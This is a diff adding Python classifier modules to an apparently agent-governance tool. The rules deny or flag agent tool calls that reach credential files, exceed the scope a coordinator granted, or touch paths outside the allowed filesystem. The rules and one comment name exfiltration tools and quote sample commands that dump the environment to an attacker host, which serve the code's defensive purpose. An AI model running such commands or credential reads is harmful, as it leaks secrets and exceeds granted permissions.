toolgovern-cli 0.1.1__py3-none-any.whl

toolgovern/classifier/credential_access.py

@@ -0,0 +1,180 @@
+"""TG04 -- Credential/Secret Access.
+
+Ported from ``packages/toolgovern/src/classifier/credential-access.ts``.
+
+Fires when a call reads ``.env``, ``.ssh``, ``.aws/credentials``, OS keychain entries, or dumps
+the bulk process environment, and that resource is not present in the caller's declared
+credential scope.
+"""
+
+from __future__ import annotations
+
+import re
+from dataclasses import dataclass
+from typing import Callable, List, Optional, Tuple
+
+from ..types import RuleContext, RuleMatch
+from .util import (
+    extract_command,
+    extract_credential_name,
+    extract_path,
+    is_credential_granted,
+    normalize_for_match,
+    stringify_args,
+)
+
+_CATEGORY = "TG04"
+
+
+@dataclass
+class _Rule:
+    id: str
+    category: str
+    description: str
+    _evaluate: Callable[[RuleContext], Optional[RuleMatch]]
+
+    def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]:
+        return self._evaluate(ctx)
+
+
+def _match(rule_id: str, decision: str, reason: str, matched_argument: str) -> RuleMatch:
+    return RuleMatch(
+        rule_id=rule_id,
+        category=_CATEGORY,  # type: ignore[arg-type]
+        decision=decision,  # type: ignore[arg-type]
+        reason=reason,
+        matched_argument=matched_argument,
+    )
+
+
+def _path_or_command_text(ctx: RuleContext) -> Tuple[Optional[str], str]:
+    """``text`` is normalized before pattern matching, so the same quote-splitting / $IFS /
+    invisible-Unicode tricks that could dodge TG01's shell patterns cannot dodge these
+    credential-path patterns either. ``path``, when present, is left as-is: it feeds a
+    declared-scope allowlist membership check, not a regex match."""
+    path = extract_path(ctx.args)
+    text = normalize_for_match(path or extract_command(ctx.args) or stringify_args(ctx.args)).lower()
+    return path, text
+
+
+_DOTENV_PATTERN = re.compile(r"(^|[/\s])\.env(\.\w+)?\b")
+
+
+def _dotenv_access_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    path, text = _path_or_command_text(ctx)
+    found = _DOTENV_PATTERN.search(text)
+    if not found:
+        return None
+    identifier = path or found.group(0).strip()
+    if is_credential_granted(identifier, ctx.scope.credentials):
+        return None
+    return _match(
+        "TG04-dotenv-access",
+        "deny",
+        f'Access to ".env" file "{identifier}" not in declared credential scope.',
+        identifier,
+    )
+
+
+_SSH_KEY_PATTERN = re.compile(r"\.ssh/(id_\w+|config|authorized_keys)?")
+
+
+def _ssh_key_access_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    path, text = _path_or_command_text(ctx)
+    found = _SSH_KEY_PATTERN.search(text)
+    if not found:
+        return None
+    identifier = path or found.group(0)
+    if is_credential_granted(identifier, ctx.scope.credentials):
+        return None
+    return _match(
+        "TG04-ssh-key-access",
+        "deny",
+        f'Access to SSH credential material "{identifier}" not in declared credential scope.',
+        identifier,
+    )
+
+
+_CLOUD_CREDENTIAL_PATTERN = re.compile(r"\.(aws/(credentials|config)|gcp/[\w.-]+|azure/[\w.-]+|kube/config)")
+
+
+def _cloud_credential_file_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    path, text = _path_or_command_text(ctx)
+    found = _CLOUD_CREDENTIAL_PATTERN.search(text)
+    if not found:
+        return None
+    identifier = path or found.group(0)
+    if is_credential_granted(identifier, ctx.scope.credentials):
+        return None
+    return _match(
+        "TG04-cloud-credential-file",
+        "deny",
+        f'Access to cloud credential file "{identifier}" not in declared credential scope.',
+        identifier,
+    )
+
+
+_KEYCHAIN_PATTERN = re.compile(r"(security\s+find-generic-password|secret-tool\s+lookup|keytar)")
+
+
+def _keychain_access_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    text = normalize_for_match(extract_command(ctx.args) or stringify_args(ctx.args)).lower()
+    found = _KEYCHAIN_PATTERN.search(text)
+    if not found:
+        return None
+    return _match(
+        "TG04-keychain-access", "deny", "Access to OS keychain/secret-store credential material.", found.group(0)
+    )
+
+
+# Previously anchored to the *entire* command string (^...$), which only caught a bare
+# env/printenv/export -p invocation with nothing else in the call at all -- `env | nc
+# attacker.com 4444` or `env > /tmp/leak.txt` (piping/redirecting the dump to the actual
+# exfiltration sink) never matched, since anything trailing the command broke the $ anchor.
+# This now looks for the dump command as a standalone command word (preceded by the start of
+# the text or a shell separator) followed by either: nothing/a command separator (a bare
+# dump), a >/>> redirect (dump to a file), or a pipe into a network/exfil-capable tool (dump
+# straight out over the network) -- but deliberately NOT a pipe into an ordinary text filter
+# (`env | grep PATH`, `printenv | sort`), which is a legitimate narrowed lookup, not a bulk
+# unfiltered dump, and must stay unflagged.
+_BULK_ENV_DUMP_PATTERN = re.compile(
+    r"(?:^|[;&|`]|\$\()\s*(env|printenv|export\s+-p)\s*"
+    r"(?:$|[;&`]|\n|>|\|\s*(?:nc|ncat|curl|wget|ssh|scp|socat|telnet|ftp)\b)"
+)
+
+
+def _bulk_env_dump_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    text = normalize_for_match(extract_command(ctx.args) or "").lower().strip()
+    found = _BULK_ENV_DUMP_PATTERN.search(text)
+    if not found:
+        return None
+    return _match(
+        "TG04-bulk-env-dump",
+        "require-approval",
+        "Bulk, unfiltered process-environment dump.",
+        found.group(1) or found.group(0),
+    )
+
+
+def _credential_name_not_in_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    name = extract_credential_name(ctx.args)
+    if not name:
+        return None
+    if is_credential_granted(name, ctx.scope.credentials):
+        return None
+    return _match(
+        "TG04-credential-name-not-in-scope",
+        "deny",
+        f'Credential "{name}" is not in the declared credential scope.',
+        name,
+    )
+
+
+credential_access_rules: List[_Rule] = [
+    _Rule("TG04-dotenv-access", _CATEGORY, "Access to a .env-style file outside the declared credential scope.", _dotenv_access_evaluate),
+    _Rule("TG04-ssh-key-access", _CATEGORY, "Access to a private SSH key or the .ssh directory.", _ssh_key_access_evaluate),
+    _Rule("TG04-cloud-credential-file", _CATEGORY, "Access to a cloud provider credential/config file.", _cloud_credential_file_evaluate),
+    _Rule("TG04-keychain-access", _CATEGORY, "Access to an OS-level keychain/secret store.", _keychain_access_evaluate),
+    _Rule("TG04-bulk-env-dump", _CATEGORY, "Unfiltered dump of the full process environment.", _bulk_env_dump_evaluate),
+    _Rule("TG04-credential-name-not-in-scope", _CATEGORY, "An explicitly named credential/secret argument is not in the declared scope.", _credential_name_not_in_scope_evaluate),
+]

toolgovern/classifier/cross_agent_inheritance.py

@@ -0,0 +1,216 @@
+"""TG05 -- Cross-Agent Privilege Inheritance.
+
+Ported from ``packages/toolgovern/src/classifier/cross-agent-inheritance.ts``.
+
+A sub-agent's own declared scope is not what governs it -- what its coordinator actually granted
+at spawn time is. These rules compare the call's target resource against the ``ScopeRegistry``
+record for the calling agent: ``requested_scope`` (what the sub-agent itself declares) versus
+``granted_scope`` (what the coordinator's own scope actually allowed after default-deny
+inheritance). A call that would be permitted under ``requested_scope`` but falls outside
+``granted_scope`` is a privilege-inheritance violation, even if it looks fine in isolation.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass
+from typing import Callable, List, Optional
+
+from ..shared.paths import credential_matches_granted, host_matches_allowed, is_path_within
+from ..scoping.inheritance_enforcer import has_zero_capability
+from ..types import RuleContext, RuleMatch
+from .util import extract_candidate_host, extract_credential_identifier, extract_path
+
+_CATEGORY = "TG05"
+
+
+@dataclass
+class _Rule:
+    id: str
+    category: str
+    description: str
+    _evaluate: Callable[[RuleContext], Optional[RuleMatch]]
+
+    def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]:
+        return self._evaluate(ctx)
+
+
+def _match(rule_id: str, decision: str, reason: str, matched_argument: str) -> RuleMatch:
+    return RuleMatch(
+        rule_id=rule_id,
+        category=_CATEGORY,  # type: ignore[arg-type]
+        decision=decision,  # type: ignore[arg-type]
+        reason=reason,
+        matched_argument=matched_argument,
+    )
+
+
+def _is_network_covered(host: str, network) -> bool:
+    if network is True:
+        return True
+    if network is False:
+        return False
+    return any(host_matches_allowed(host, allowed) for allowed in network)
+
+
+def _unregistered_sub_agent_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    if not ctx.coordinator_id:
+        return None
+    if not ctx.scope_registry:
+        return None
+    record = ctx.scope_registry.get_record(ctx.agent_id)
+    if record:
+        return None
+    return _match(
+        "TG05-unregistered-sub-agent",
+        "deny",
+        f'Agent "{ctx.agent_id}" declares coordinator "{ctx.coordinator_id}" but has no registered scope grant.',
+        ctx.agent_id,
+    )
+
+
+def _zero_capability_sub_agent_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    if not ctx.coordinator_id:
+        return None
+    if not ctx.scope_registry:
+        return None
+    record = ctx.scope_registry.get_record(ctx.agent_id)
+    if not record or not record.coordinator_id:
+        return None
+    if not has_zero_capability(record.granted_scope):
+        return None
+    return _match(
+        "TG05-zero-capability-sub-agent",
+        "deny",
+        f'Agent "{ctx.agent_id}" was granted zero tool capability by its coordinator "{record.coordinator_id}"; all tool calls are denied.',
+        ctx.agent_id,
+    )
+
+
+def _network_exceeds_grant_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    record = ctx.scope_registry.get_record(ctx.agent_id) if ctx.scope_registry else None
+    if not record or not record.requested_scope:
+        return None
+    host = extract_candidate_host(ctx.args)
+    if not host:
+        return None
+    requested_covers = _is_network_covered(host, record.requested_scope.network)
+    granted_covers = _is_network_covered(host, record.granted_scope.network)
+    if not requested_covers or granted_covers:
+        return None
+    return _match(
+        "TG05-network-exceeds-grant",
+        "deny",
+        f'Host "{host}" was requested by "{ctx.agent_id}" but never granted by its coordinator.',
+        host,
+    )
+
+
+def _filesystem_exceeds_grant_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    record = ctx.scope_registry.get_record(ctx.agent_id) if ctx.scope_registry else None
+    if not record or not record.requested_scope:
+        return None
+    path = extract_path(ctx.args)
+    if not path:
+        return None
+    requested_covers = any(is_path_within(path, prefix) for prefix in record.requested_scope.filesystem)
+    granted_covers = any(is_path_within(path, prefix) for prefix in record.granted_scope.filesystem)
+    if not requested_covers or granted_covers:
+        return None
+    return _match(
+        "TG05-filesystem-exceeds-grant",
+        "deny",
+        f'Path "{path}" was requested by "{ctx.agent_id}" but never granted by its coordinator.',
+        path,
+    )
+
+
+def _credential_exceeds_grant_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    record = ctx.scope_registry.get_record(ctx.agent_id) if ctx.scope_registry else None
+    if not record or not record.requested_scope:
+        return None
+    identifier = extract_credential_identifier(ctx.args)
+    if not identifier:
+        return None
+    requested_covers = any(
+        credential_matches_granted(identifier, c) for c in record.requested_scope.credentials
+    )
+    granted_covers = any(credential_matches_granted(identifier, c) for c in record.granted_scope.credentials)
+    if not requested_covers or granted_covers:
+        return None
+    return _match(
+        "TG05-credential-exceeds-grant",
+        "deny",
+        f'Credential "{identifier}" was requested by "{ctx.agent_id}" but never granted by its coordinator.',
+        identifier,
+    )
+
+
+def _coordinator_scope_shrunk_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    record = ctx.scope_registry.get_record(ctx.agent_id) if ctx.scope_registry else None
+    if not record or not record.coordinator_id or not ctx.scope_registry:
+        return None
+    coordinator_record = ctx.scope_registry.get_record(record.coordinator_id)
+    if not coordinator_record:
+        return None
+
+    path = extract_path(ctx.args)
+    host = extract_candidate_host(ctx.args)
+    identifier = extract_credential_identifier(ctx.args)
+
+    if path:
+        still_granted_by_self = any(is_path_within(path, p) for p in record.granted_scope.filesystem)
+        coordinator_still_has_it = any(
+            is_path_within(path, p) for p in coordinator_record.granted_scope.filesystem
+        )
+        if still_granted_by_self and not coordinator_still_has_it:
+            return _match(
+                "TG05-coordinator-scope-shrunk",
+                "deny",
+                f'Coordinator "{record.coordinator_id}" no longer covers path "{path}" it previously granted to "{ctx.agent_id}".',
+                path,
+            )
+    if host:
+        still_granted_by_self = _is_network_covered(host, record.granted_scope.network)
+        coordinator_still_has_it = _is_network_covered(host, coordinator_record.granted_scope.network)
+        if still_granted_by_self and not coordinator_still_has_it:
+            return _match(
+                "TG05-coordinator-scope-shrunk",
+                "deny",
+                f'Coordinator "{record.coordinator_id}" no longer covers host "{host}" it previously granted to "{ctx.agent_id}".',
+                host,
+            )
+    if identifier:
+        still_granted_by_self = any(
+            credential_matches_granted(identifier, c) for c in record.granted_scope.credentials
+        )
+        coordinator_still_has_it = any(
+            credential_matches_granted(identifier, c) for c in coordinator_record.granted_scope.credentials
+        )
+        if still_granted_by_self and not coordinator_still_has_it:
+            return _match(
+                "TG05-coordinator-scope-shrunk",
+                "deny",
+                f'Coordinator "{record.coordinator_id}" no longer covers credential "{identifier}" it previously granted to "{ctx.agent_id}".',
+                identifier,
+            )
+    return None
+
+
+cross_agent_inheritance_rules: List[_Rule] = [
+    _Rule("TG05-unregistered-sub-agent", _CATEGORY, "A call arrives from a sub-agent with no verifiable spawn-time grant on record.", _unregistered_sub_agent_evaluate),
+    _Rule(
+        "TG05-zero-capability-sub-agent",
+        _CATEGORY,
+        "A sub-agent whose coordinator granted it zero capability at all attempts a tool call. Denied outright.",
+        _zero_capability_sub_agent_evaluate,
+    ),
+    _Rule("TG05-network-exceeds-grant", _CATEGORY, "Target host is within the agent's own request but outside what its coordinator granted.", _network_exceeds_grant_evaluate),
+    _Rule("TG05-filesystem-exceeds-grant", _CATEGORY, "Target path is within the agent's own request but outside what its coordinator granted.", _filesystem_exceeds_grant_evaluate),
+    _Rule("TG05-credential-exceeds-grant", _CATEGORY, "Target credential is within the agent's own request but outside what its coordinator granted.", _credential_exceeds_grant_evaluate),
+    _Rule(
+        "TG05-coordinator-scope-shrunk",
+        _CATEGORY,
+        "The coordinator's own current scope no longer covers what it granted this sub-agent at spawn time.",
+        _coordinator_scope_shrunk_evaluate,
+    ),
+]

toolgovern/classifier/filesystem_scope.py

@@ -0,0 +1,202 @@
+"""TG02 -- Filesystem Scope Escalation.
+
+Ported from ``packages/toolgovern/src/classifier/filesystem-scope.ts``.
+
+Fires when a call attempts a write, delete, or permission change outside the caller's declared
+filesystem scope (``scope.filesystem``, a list of allowed path prefixes), or targets a small set
+of sensitive absolute system directories regardless of scope.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass
+from typing import Callable, List, Optional, Sequence
+
+from ..types import RuleContext, RuleMatch
+from .util import (
+    contains_path_traversal,
+    extract_operation,
+    extract_path,
+    is_credential_granted,
+    is_path_within,
+    normalize_for_match,
+)
+
+_CATEGORY = "TG02"
+
+_WRITE_OPS = {"write", "create", "append", "put", "save"}
+_DELETE_OPS = {"delete", "remove", "unlink", "rm", "rmdir"}
+_CHMOD_OPS = {"chmod", "chown", "setpermissions", "set_permissions"}
+_READ_OPS = {"read", "get", "load", "fetch", "cat", "open"}
+_SENSITIVE_SYSTEM_PREFIXES = ["/etc", "/usr", "/bin", "/sbin", "/system", "/private/etc"]
+
+
+def _extract_normalized_path(args) -> Optional[str]:
+    """Extracts a call's path argument and runs it through the same obfuscation-normalization
+    pass TG01/TG03/TG04 already apply, so a path cannot dodge a scope or sensitive-prefix check
+    by smuggling in a formatting character a literal/prefix comparison wouldn't see."""
+    raw = extract_path(args)
+    return normalize_for_match(raw) if raw else None
+
+
+def _is_within_scope(path: str, filesystem: Sequence[str]) -> bool:
+    if len(filesystem) == 0:
+        return False
+    return any(is_path_within(path, prefix) for prefix in filesystem)
+
+
+@dataclass
+class _Rule:
+    id: str
+    category: str
+    description: str
+    _evaluate: Callable[[RuleContext], Optional[RuleMatch]]
+
+    def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]:
+        return self._evaluate(ctx)
+
+
+def _match(rule_id: str, decision: str, reason: str, matched_argument: str) -> RuleMatch:
+    return RuleMatch(
+        rule_id=rule_id,
+        category=_CATEGORY,  # type: ignore[arg-type]
+        decision=decision,  # type: ignore[arg-type]
+        reason=reason,
+        matched_argument=matched_argument,
+    )
+
+
+def _write_outside_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    path = _extract_normalized_path(ctx.args)
+    if not path:
+        return None
+    op = extract_operation(ctx.args) or ("write" if "write" in ctx.tool.lower() else "")
+    if op not in _WRITE_OPS:
+        return None
+    if _is_within_scope(path, ctx.scope.filesystem):
+        return None
+    return _match(
+        "TG02-write-outside-scope",
+        "require-approval",
+        f'Write target "{path}" is outside the declared filesystem scope.',
+        path,
+    )
+
+
+def _delete_outside_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    path = _extract_normalized_path(ctx.args)
+    if not path:
+        return None
+    op = extract_operation(ctx.args) or ("delete" if "delete" in ctx.tool.lower() else "")
+    if op not in _DELETE_OPS:
+        return None
+    if _is_within_scope(path, ctx.scope.filesystem):
+        return None
+    return _match(
+        "TG02-delete-outside-scope",
+        "deny",
+        f'Delete target "{path}" is outside the declared filesystem scope.',
+        path,
+    )
+
+
+def _chmod_outside_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    path = _extract_normalized_path(ctx.args)
+    if not path:
+        return None
+    op = extract_operation(ctx.args)
+    if not op or op not in _CHMOD_OPS:
+        return None
+    if _is_within_scope(path, ctx.scope.filesystem):
+        return None
+    return _match(
+        "TG02-chmod-outside-scope",
+        "deny",
+        f'Permission change on "{path}" is outside the declared filesystem scope.',
+        path,
+    )
+
+
+def _read_outside_scope_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    path = _extract_normalized_path(ctx.args)
+    if not path:
+        return None
+    op = extract_operation(ctx.args) or ("read" if "read" in ctx.tool.lower() else "")
+    if op not in _READ_OPS:
+        return None
+    if _is_within_scope(path, ctx.scope.filesystem):
+        return None
+    if is_credential_granted(path, ctx.scope.credentials):
+        return None
+    return _match(
+        "TG02-read-outside-scope",
+        "require-approval",
+        f'Read target "{path}" is outside the declared filesystem scope.',
+        path,
+    )
+
+
+def _path_traversal_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    path = _extract_normalized_path(ctx.args)
+    if not path:
+        return None
+    if not contains_path_traversal(path):
+        return None
+    return _match(
+        "TG02-path-traversal", "deny", f'Path "{path}" contains traversal segments ("..").', path
+    )
+
+
+def _symlink_escape_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    op = extract_operation(ctx.args) or ""
+    if "symlink" not in op and "link" not in op:
+        return None
+    path = _extract_normalized_path(ctx.args)
+    if not path:
+        return None
+    if _is_within_scope(path, ctx.scope.filesystem):
+        return None
+    return _match(
+        "TG02-symlink-escape",
+        "deny",
+        f'Symlink target "{path}" is outside the declared filesystem scope.',
+        path,
+    )
+
+
+def _sensitive_system_path_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    path = _extract_normalized_path(ctx.args)
+    if not path:
+        return None
+    op = extract_operation(ctx.args) or ""
+    if op not in _WRITE_OPS and op not in _DELETE_OPS and op not in _CHMOD_OPS:
+        return None
+    # Case-insensitive, same as the original raw-prefix check this replaces -- every entry in
+    # SENSITIVE_SYSTEM_PREFIXES is already lowercase.
+    lower = path.lower()
+    hit = next((p for p in _SENSITIVE_SYSTEM_PREFIXES if is_path_within(lower, p)), None)
+    if not hit:
+        return None
+    return _match(
+        "TG02-sensitive-system-path",
+        "deny",
+        f'Target "{path}" is under a sensitive system directory ({hit}).',
+        path,
+    )
+
+
+filesystem_scope_rules: List[_Rule] = [
+    _Rule("TG02-write-outside-scope", _CATEGORY, "A write/create targets a path outside the declared filesystem scope.", _write_outside_scope_evaluate),
+    _Rule("TG02-delete-outside-scope", _CATEGORY, "A delete targets a path outside the declared filesystem scope.", _delete_outside_scope_evaluate),
+    _Rule("TG02-chmod-outside-scope", _CATEGORY, "A permission change targets a path outside the declared filesystem scope.", _chmod_outside_scope_evaluate),
+    _Rule(
+        "TG02-read-outside-scope",
+        _CATEGORY,
+        "A read targets a path outside the caller's declared filesystem scope. An explicitly "
+        "granted credential path (scope.credentials) is not flagged here.",
+        _read_outside_scope_evaluate,
+    ),
+    _Rule("TG02-path-traversal", _CATEGORY, 'A path uses ".." segments that could escape a scoped prefix.', _path_traversal_evaluate),
+    _Rule("TG02-symlink-escape", _CATEGORY, "A symlink/link operation targets a path outside the declared filesystem scope.", _symlink_escape_evaluate),
+    _Rule("TG02-sensitive-system-path", _CATEGORY, "A write/delete targets a sensitive absolute system directory.", _sensitive_system_path_evaluate),
+]

toolgovern/classifier/index.py

@@ -0,0 +1,80 @@
+"""The classifier: runs every rule in the TG01-TG05 pack against one normalized call context
+and aggregates the result.
+
+Ported from ``packages/toolgovern/src/classifier/index.ts``.
+
+Decision severity order is ``deny`` > ``require-approval`` > ``allow`` -- if any rule denies,
+the call is denied, no matter how many other rules would have allowed it.
+
+Every non-allow decision is traceable to the specific rule ID(s) that fired and the argument
+that tripped each one. There is no unexplained black-box denial in this classifier: if
+``fired_rules`` is empty, the decision is (and can only be) ``allow``.
+"""
+
+from __future__ import annotations
+
+import dataclasses
+from dataclasses import dataclass, field
+from typing import List, Sequence
+
+from ..types import ClassifierResult, Decision, RuleContext, RuleMatch
+from .credential_access import credential_access_rules
+from .cross_agent_inheritance import cross_agent_inheritance_rules
+from .filesystem_scope import filesystem_scope_rules
+from .information_flow import information_flow_rules
+from .network_egress import network_egress_rules
+from .shell_risk import shell_risk_rules
+
+rule_registry = [
+    *shell_risk_rules,
+    *filesystem_scope_rules,
+    *network_egress_rules,
+    *credential_access_rules,
+    *cross_agent_inheritance_rules,
+    *information_flow_rules,
+]
+
+
+@dataclass(frozen=True)
+class ClassifyOptions:
+    """Options for ``classify()``."""
+
+    disabled_rules: Sequence[str] = field(default_factory=tuple)
+    """Rule IDs to skip entirely regardless of arguments (from Policy.rules.disable)."""
+    downgrade_to_approval: Sequence[str] = field(default_factory=tuple)
+    """Rule IDs whose deny verdict should be downgraded to require-approval
+    (from Policy.rules.require_approval)."""
+
+
+def _severity(decision: Decision) -> int:
+    if decision == "deny":
+        return 2
+    if decision == "require-approval":
+        return 1
+    return 0
+
+
+def classify(ctx: RuleContext, options: ClassifyOptions = None) -> ClassifierResult:
+    """Evaluates one tool call against every enabled rule and returns the aggregate verdict."""
+    options = options or ClassifyOptions()
+    disabled = set(options.disabled_rules)
+    downgrade = set(options.downgrade_to_approval)
+
+    fired_rules: List[RuleMatch] = []
+    for rule in rule_registry:
+        if rule.id in disabled:
+            continue
+        result = rule.evaluate(ctx)
+        if not result:
+            continue
+        if result.decision == "deny" and result.rule_id in downgrade:
+            fired_rules.append(dataclasses.replace(result, decision="require-approval"))
+        else:
+            fired_rules.append(result)
+
+    decision: Decision = "allow"
+    for r in fired_rules:
+        if _severity(r.decision) > _severity(decision):
+            decision = r.decision
+
+    return ClassifierResult(decision=decision, fired_rules=fired_rules)